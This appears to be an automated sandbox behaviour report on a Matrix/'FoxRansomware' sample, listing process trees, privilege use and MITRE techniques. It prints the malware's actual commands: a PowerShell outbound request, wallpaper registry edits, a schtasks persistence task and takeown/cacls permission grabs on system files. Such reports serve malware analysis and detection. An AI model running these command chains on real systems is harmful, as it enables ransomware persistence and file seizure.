Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	takeown.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	kyAImsgA.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	kyAImsgA.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	kyAImsgA.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	kyAImsgA.exe

Interacts with shadow copies 3 TTPs 1 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
ransomware

File Deletion
T1070.004

Inhibit System Recovery
T1490

Direct Volume Access
T1006

Processes:

vssadmin.exe

pid process

6856 vssadmin.exe
Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence execution

Scheduled Task
T1053.005

Processes:

schtasks.exe

pid process

5160 schtasks.exe

pid	process
6856	vssadmin.exe

pid	process
5160	schtasks.exe

Suspicious behavior: EnumeratesProcesses 11 IoCs

Processes:

powershell.exekyAImsgA64.exe

pid	process
8	powershell.exe
8	powershell.exe
8	powershell.exe
6720	kyAImsgA64.exe
6720	kyAImsgA64.exe
6720	kyAImsgA64.exe
6720	kyAImsgA64.exe
6720	kyAImsgA64.exe
6720	kyAImsgA64.exe
6720	kyAImsgA64.exe
6720	kyAImsgA64.exe

Suspicious behavior: LoadsDriver 1 IoCs

Processes:

kyAImsgA64.exe

pid process

6720 kyAImsgA64.exe

pid	process
6720	kyAImsgA64.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

powershell.exetakeown.exekyAImsgA64.exevssvc.exeWMIC.exetakeown.exetakeown.exetakeown.exetakeown.exetakeown.exetakeown.exetakeown.exetakeown.exetakeown.exetakeown.exetakeown.exetakeown.exetakeown.exetakeown.exetakeown.exe

description	pid	process
Token: SeDebugPrivilege	8	powershell.exe
Token: SeTakeOwnershipPrivilege	3316	takeown.exe
Token: SeDebugPrivilege	6720	kyAImsgA64.exe
Token: SeLoadDriverPrivilege	6720	kyAImsgA64.exe
Token: SeBackupPrivilege	6824	vssvc.exe
Token: SeRestorePrivilege	6824	vssvc.exe
Token: SeAuditPrivilege	6824	vssvc.exe
Token: SeIncreaseQuotaPrivilege	5296	WMIC.exe
Token: SeSecurityPrivilege	5296	WMIC.exe
Token: SeTakeOwnershipPrivilege	5296	WMIC.exe
Token: SeLoadDriverPrivilege	5296	WMIC.exe
Token: SeSystemProfilePrivilege	5296	WMIC.exe
Token: SeSystemtimePrivilege	5296	WMIC.exe
Token: SeProfSingleProcessPrivilege	5296	WMIC.exe
Token: SeIncBasePriorityPrivilege	5296	WMIC.exe
Token: SeCreatePagefilePrivilege	5296	WMIC.exe
Token: SeBackupPrivilege	5296	WMIC.exe
Token: SeRestorePrivilege	5296	WMIC.exe
Token: SeShutdownPrivilege	5296	WMIC.exe
Token: SeDebugPrivilege	5296	WMIC.exe
Token: SeSystemEnvironmentPrivilege	5296	WMIC.exe
Token: SeRemoteShutdownPrivilege	5296	WMIC.exe
Token: SeUndockPrivilege	5296	WMIC.exe
Token: SeManageVolumePrivilege	5296	WMIC.exe
Token: 33	5296	WMIC.exe
Token: 34	5296	WMIC.exe
Token: 35	5296	WMIC.exe
Token: 36	5296	WMIC.exe
Token: SeIncreaseQuotaPrivilege	5296	WMIC.exe
Token: SeSecurityPrivilege	5296	WMIC.exe
Token: SeTakeOwnershipPrivilege	5296	WMIC.exe
Token: SeLoadDriverPrivilege	5296	WMIC.exe
Token: SeSystemProfilePrivilege	5296	WMIC.exe
Token: SeSystemtimePrivilege	5296	WMIC.exe
Token: SeProfSingleProcessPrivilege	5296	WMIC.exe
Token: SeIncBasePriorityPrivilege	5296	WMIC.exe
Token: SeCreatePagefilePrivilege	5296	WMIC.exe
Token: SeBackupPrivilege	5296	WMIC.exe
Token: SeRestorePrivilege	5296	WMIC.exe
Token: SeShutdownPrivilege	5296	WMIC.exe
Token: SeDebugPrivilege	5296	WMIC.exe
Token: SeSystemEnvironmentPrivilege	5296	WMIC.exe
Token: SeRemoteShutdownPrivilege	5296	WMIC.exe
Token: SeUndockPrivilege	5296	WMIC.exe
Token: SeManageVolumePrivilege	5296	WMIC.exe
Token: 33	5296	WMIC.exe
Token: 34	5296	WMIC.exe
Token: 35	5296	WMIC.exe
Token: 36	5296	WMIC.exe
Token: SeTakeOwnershipPrivilege	1100	takeown.exe
Token: SeTakeOwnershipPrivilege	6216	takeown.exe
Token: SeTakeOwnershipPrivilege	6120	takeown.exe
Token: SeTakeOwnershipPrivilege	6424	takeown.exe
Token: SeTakeOwnershipPrivilege	6444	takeown.exe
Token: SeTakeOwnershipPrivilege	5192	takeown.exe
Token: SeTakeOwnershipPrivilege	7132	takeown.exe
Token: SeTakeOwnershipPrivilege	7164	takeown.exe
Token: SeTakeOwnershipPrivilege	360	takeown.exe
Token: SeTakeOwnershipPrivilege	8116	takeown.exe
Token: SeTakeOwnershipPrivilege	7956	takeown.exe
Token: SeTakeOwnershipPrivilege	7904	takeown.exe
Token: SeTakeOwnershipPrivilege	7744	takeown.exe
Token: SeTakeOwnershipPrivilege	7512	takeown.exe
Token: SeTakeOwnershipPrivilege	7372	takeown.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.execmd.execmd.execmd.exewscript.execmd.execmd.execmd.execmd.exekyAImsgA.execmd.exe

description	pid	process	target process
PID 4184 wrote to memory of 768	4184	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe	cmd.exe
PID 4184 wrote to memory of 768	4184	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe	cmd.exe
PID 4184 wrote to memory of 768	4184	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe	cmd.exe
PID 4184 wrote to memory of 4792	4184	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe	NWgRL7da.exe
PID 4184 wrote to memory of 4792	4184	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe	NWgRL7da.exe
PID 4184 wrote to memory of 4792	4184	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe	NWgRL7da.exe
PID 4184 wrote to memory of 1936	4184	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe	cmd.exe
PID 4184 wrote to memory of 1936	4184	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe	cmd.exe
PID 4184 wrote to memory of 1936	4184	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe	cmd.exe
PID 1936 wrote to memory of 8	1936	cmd.exe	powershell.exe
PID 1936 wrote to memory of 8	1936	cmd.exe	powershell.exe
PID 1936 wrote to memory of 8	1936	cmd.exe	powershell.exe
PID 4184 wrote to memory of 764	4184	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe	cmd.exe
PID 4184 wrote to memory of 764	4184	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe	cmd.exe
PID 4184 wrote to memory of 764	4184	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe	cmd.exe
PID 4184 wrote to memory of 1888	4184	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe	cmd.exe
PID 4184 wrote to memory of 1888	4184	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe	cmd.exe
PID 4184 wrote to memory of 1888	4184	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe	cmd.exe
PID 764 wrote to memory of 816	764	cmd.exe	reg.exe
PID 764 wrote to memory of 816	764	cmd.exe	reg.exe
PID 764 wrote to memory of 816	764	cmd.exe	reg.exe
PID 764 wrote to memory of 792	764	cmd.exe	reg.exe
PID 764 wrote to memory of 792	764	cmd.exe	reg.exe
PID 764 wrote to memory of 792	764	cmd.exe	reg.exe
PID 1888 wrote to memory of 4680	1888	cmd.exe	wscript.exe
PID 1888 wrote to memory of 4680	1888	cmd.exe	wscript.exe
PID 1888 wrote to memory of 4680	1888	cmd.exe	wscript.exe
PID 4184 wrote to memory of 5880	4184	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe	cmd.exe
PID 4184 wrote to memory of 5880	4184	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe	cmd.exe
PID 4184 wrote to memory of 5880	4184	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe	cmd.exe
PID 4680 wrote to memory of 5944	4680	wscript.exe	cmd.exe
PID 4680 wrote to memory of 5944	4680	wscript.exe	cmd.exe
PID 4680 wrote to memory of 5944	4680	wscript.exe	cmd.exe
PID 764 wrote to memory of 5332	764	cmd.exe	reg.exe
PID 764 wrote to memory of 5332	764	cmd.exe	reg.exe
PID 764 wrote to memory of 5332	764	cmd.exe	reg.exe
PID 5944 wrote to memory of 5160	5944	cmd.exe	schtasks.exe
PID 5944 wrote to memory of 5160	5944	cmd.exe	schtasks.exe
PID 5944 wrote to memory of 5160	5944	cmd.exe	schtasks.exe
PID 5880 wrote to memory of 1000	5880	cmd.exe	cacls.exe
PID 5880 wrote to memory of 1000	5880	cmd.exe	cacls.exe
PID 5880 wrote to memory of 1000	5880	cmd.exe	cacls.exe
PID 5880 wrote to memory of 3316	5880	cmd.exe	takeown.exe
PID 5880 wrote to memory of 3316	5880	cmd.exe	takeown.exe
PID 5880 wrote to memory of 3316	5880	cmd.exe	takeown.exe
PID 4680 wrote to memory of 2140	4680	wscript.exe	Conhost.exe
PID 4680 wrote to memory of 2140	4680	wscript.exe	Conhost.exe
PID 4680 wrote to memory of 2140	4680	wscript.exe	Conhost.exe
PID 2140 wrote to memory of 1988	2140	cmd.exe	schtasks.exe
PID 2140 wrote to memory of 1988	2140	cmd.exe	schtasks.exe
PID 2140 wrote to memory of 1988	2140	cmd.exe	schtasks.exe
PID 5880 wrote to memory of 6796	5880	cmd.exe	cmd.exe
PID 5880 wrote to memory of 6796	5880	cmd.exe	cmd.exe
PID 5880 wrote to memory of 6796	5880	cmd.exe	cmd.exe
PID 6796 wrote to memory of 6784	6796	cmd.exe	kyAImsgA.exe
PID 6796 wrote to memory of 6784	6796	cmd.exe	kyAImsgA.exe
PID 6796 wrote to memory of 6784	6796	cmd.exe	kyAImsgA.exe
PID 6784 wrote to memory of 6720	6784	kyAImsgA.exe	kyAImsgA64.exe
PID 6784 wrote to memory of 6720	6784	kyAImsgA.exe	kyAImsgA64.exe
PID 1436 wrote to memory of 6856	1436	cmd.exe	vssadmin.exe
PID 1436 wrote to memory of 6856	1436	cmd.exe	vssadmin.exe
PID 1436 wrote to memory of 5296	1436	cmd.exe	WMIC.exe
PID 1436 wrote to memory of 5296	1436	cmd.exe	WMIC.exe
PID 1436 wrote to memory of 5392	1436	cmd.exe	bcdedit.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\FoxRansomware\42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe
"C:\Users\Admin\AppData\Local\Temp\FoxRansomware\42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe"
1⤵
- Matrix Ransomware
- Drops desktop.ini file(s)
- Enumerates connected drives
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
PID:4184
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\system32\cmd.exe" /C copy /V /Y "C:\Users\Admin\AppData\Local\Temp\FoxRansomware\42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe" "C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NWgRL7da.exe"
  2⤵
  PID:768
- C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NWgRL7da.exe
  "C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NWgRL7da.exe" -n
  2⤵
  - Executes dropped EXE
  PID:4792
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\system32\cmd.exe" /C powershell "$webClient = New-Object -TypeName System.Net.WebClient; $webClient.DownloadString('http://myexternalip.com/raw')">"C:\Users\Admin\AppData\Local\Temp\FoxRansomware\8Kgy5in1.txt"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1936
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell "$webClient = New-Object -TypeName System.Net.WebClient; $webClient.DownloadString('http://myexternalip.com/raw')"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:8
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\system32\cmd.exe" /C reg add "HKCU\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\CLy07KqE.bmp" /f & reg add "HKCU\Control Panel\Desktop" /v WallpaperStyle /t REG_SZ /d "0" /f & reg add "HKCU\Control Panel\Desktop" /v TileWallpaper /t REG_SZ /d "0" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:764
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKCU\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\CLy07KqE.bmp" /f
    3⤵
    - Sets desktop wallpaper using registry
    PID:816
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKCU\Control Panel\Desktop" /v WallpaperStyle /t REG_SZ /d "0" /f
    3⤵
    PID:792
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKCU\Control Panel\Desktop" /v TileWallpaper /t REG_SZ /d "0" /f
    3⤵
    PID:5332
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\system32\cmd.exe" /C wscript //B //Nologo "C:\Users\Admin\AppData\Roaming\0D0aj69R.vbs"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1888
- - C:\Windows\SysWOW64\wscript.exe
    wscript //B //Nologo "C:\Users\Admin\AppData\Roaming\0D0aj69R.vbs"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4680
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C schtasks /Create /tn DSHCA /tr "C:\Users\Admin\AppData\Roaming\orfDMwV6.bat" /sc minute /mo 5 /RL HIGHEST /F
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:5944
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /Create /tn DSHCA /tr "C:\Users\Admin\AppData\Roaming\orfDMwV6.bat" /sc minute /mo 5 /RL HIGHEST /F
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:5160
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C schtasks /Run /I /tn DSHCA
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2140
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /Run /I /tn DSHCA
        5⤵
        
        PID:1988
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\LB5u22pd.bat" "C:\ProgramData\Microsoft\SmsRouter\MessageStore\SmsInterceptStore.db""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5880
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\ProgramData\Microsoft\SmsRouter\MessageStore\SmsInterceptStore.db" /E /G Admin:F /C
    3⤵
    PID:1000
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\ProgramData\Microsoft\SmsRouter\MessageStore\SmsInterceptStore.db"
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:3316
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c kyAImsgA.exe -accepteula "SmsInterceptStore.db" -nobanner
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:6796
  - - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
      kyAImsgA.exe -accepteula "SmsInterceptStore.db" -nobanner
      4⤵
      Executes dropped EXE
      Suspicious use of WriteProcessMemory
      PID:6784
    - - C:\Users\Admin\AppData\Local\Temp\kyAImsgA64.exe
        
        kyAImsgA.exe -accepteula "SmsInterceptStore.db" -nobanner
        5⤵
        Drops file in Drivers directory
        Sets service image path in registry
        Executes dropped EXE
        Enumerates connected drives
        Suspicious behavior: EnumeratesProcesses
        Suspicious behavior: LoadsDriver
        Suspicious use of AdjustPrivilegeToken
        
        PID:6720
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\LB5u22pd.bat" "C:\ProgramData\Microsoft\AppV\Setup\OfficeIntegrator.ps1""
  2⤵
  PID:5684
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\ProgramData\Microsoft\AppV\Setup\OfficeIntegrator.ps1" /E /G Admin:F /C
    3⤵
    PID:5088
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\ProgramData\Microsoft\AppV\Setup\OfficeIntegrator.ps1"
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:1100
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c kyAImsgA.exe -accepteula "OfficeIntegrator.ps1" -nobanner
    3⤵
    PID:5640
  - - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
      kyAImsgA.exe -accepteula "OfficeIntegrator.ps1" -nobanner
      4⤵
      Executes dropped EXE
      PID:5592
- - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
    kyAImsgA.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    - Executes dropped EXE
    PID:2468
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\LB5u22pd.bat" "C:\Program Files (x86)\Microsoft.NET\RedistList\AssemblyList_4_extended.xml""
  2⤵
  PID:5440
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Program Files (x86)\Microsoft.NET\RedistList\AssemblyList_4_extended.xml" /E /G Admin:F /C
    3⤵
    PID:6192
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\Program Files (x86)\Microsoft.NET\RedistList\AssemblyList_4_extended.xml"
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:6216
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c kyAImsgA.exe -accepteula "AssemblyList_4_extended.xml" -nobanner
    3⤵
    PID:6904
  - - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
      kyAImsgA.exe -accepteula "AssemblyList_4_extended.xml" -nobanner
      4⤵
      Executes dropped EXE
      PID:6228
- - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
    kyAImsgA.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    - Executes dropped EXE
    PID:6636
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\LB5u22pd.bat" "C:\ProgramData\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\de-DE\resource.xml""
  2⤵
  PID:6292
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\ProgramData\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\de-DE\resource.xml" /E /G Admin:F /C
    3⤵
    PID:6328
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\ProgramData\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\de-DE\resource.xml"
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:6120
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c kyAImsgA.exe -accepteula "resource.xml" -nobanner
    3⤵
    PID:6684
  - - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
      kyAImsgA.exe -accepteula "resource.xml" -nobanner
      4⤵
      Executes dropped EXE
      PID:5716
- - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
    kyAImsgA.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    - Executes dropped EXE
    PID:6492
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\LB5u22pd.bat" "C:\ProgramData\Microsoft\Device Stage\Task\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\en-US\resource.xml""
  2⤵
  PID:6456
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\ProgramData\Microsoft\Device Stage\Task\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\en-US\resource.xml" /E /G Admin:F /C
    3⤵
    PID:6536
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\ProgramData\Microsoft\Device Stage\Task\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\en-US\resource.xml"
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:6424
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c kyAImsgA.exe -accepteula "resource.xml" -nobanner
    3⤵
    PID:6588
  - - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
      kyAImsgA.exe -accepteula "resource.xml" -nobanner
      4⤵
      Executes dropped EXE
      PID:6580
- - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
    kyAImsgA.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    - Executes dropped EXE
    PID:344
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\LB5u22pd.bat" "C:\ProgramData\Microsoft\Diagnosis\DownloadedScenarios\WINDOWS.SIUF.xml""
  2⤵
  PID:7356
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:2140
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\ProgramData\Microsoft\Diagnosis\DownloadedScenarios\WINDOWS.SIUF.xml" /E /G Admin:F /C
    3⤵
    PID:5540
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\ProgramData\Microsoft\Diagnosis\DownloadedScenarios\WINDOWS.SIUF.xml"
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:6444
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c kyAImsgA.exe -accepteula "WINDOWS.SIUF.xml" -nobanner
    3⤵
    PID:6600
  - - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
      kyAImsgA.exe -accepteula "WINDOWS.SIUF.xml" -nobanner
      4⤵
      Executes dropped EXE
      PID:6560
- - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
    kyAImsgA.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    - Executes dropped EXE
    PID:6660
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\LB5u22pd.bat" "C:\ProgramData\Microsoft\Diagnosis\osver.txt""
  2⤵
  PID:6764
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\ProgramData\Microsoft\Diagnosis\osver.txt" /E /G Admin:F /C
    3⤵
    PID:5144
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\ProgramData\Microsoft\Diagnosis\osver.txt"
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:5192
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c kyAImsgA.exe -accepteula "osver.txt" -nobanner
    3⤵
    PID:6992
  - - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
      kyAImsgA.exe -accepteula "osver.txt" -nobanner
      4⤵
      Executes dropped EXE
      PID:7072
- - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
    kyAImsgA.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    - Executes dropped EXE
    PID:7020
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\LB5u22pd.bat" "C:\ProgramData\Microsoft\SmsRouter\MessageStore\edb.log""
  2⤵
  PID:7048
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\ProgramData\Microsoft\SmsRouter\MessageStore\edb.log" /E /G Admin:F /C
    3⤵
    PID:7128
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\ProgramData\Microsoft\SmsRouter\MessageStore\edb.log"
    3⤵
    - Modifies file permissions
    - Suspicious use of AdjustPrivilegeToken
    PID:7132
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c kyAImsgA.exe -accepteula "edb.log" -nobanner
    3⤵
    PID:4164
  - - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
      kyAImsgA.exe -accepteula "edb.log" -nobanner
      4⤵
      Executes dropped EXE
      PID:7152
- - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
    kyAImsgA.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    - Executes dropped EXE
    PID:2172
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\LB5u22pd.bat" "C:\ProgramData\Microsoft\Device Stage\Device\{8702d817-5aad-4674-9ef3-4d3decd87120}\watermark.png""
  2⤵
  PID:5948
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\ProgramData\Microsoft\Device Stage\Device\{8702d817-5aad-4674-9ef3-4d3decd87120}\watermark.png" /E /G Admin:F /C
    3⤵
    PID:396
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\ProgramData\Microsoft\Device Stage\Device\{8702d817-5aad-4674-9ef3-4d3decd87120}\watermark.png"
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:7164
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c kyAImsgA.exe -accepteula "watermark.png" -nobanner
    3⤵
    PID:4272
  - - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
      kyAImsgA.exe -accepteula "watermark.png" -nobanner
      4⤵
      Executes dropped EXE
      PID:1032
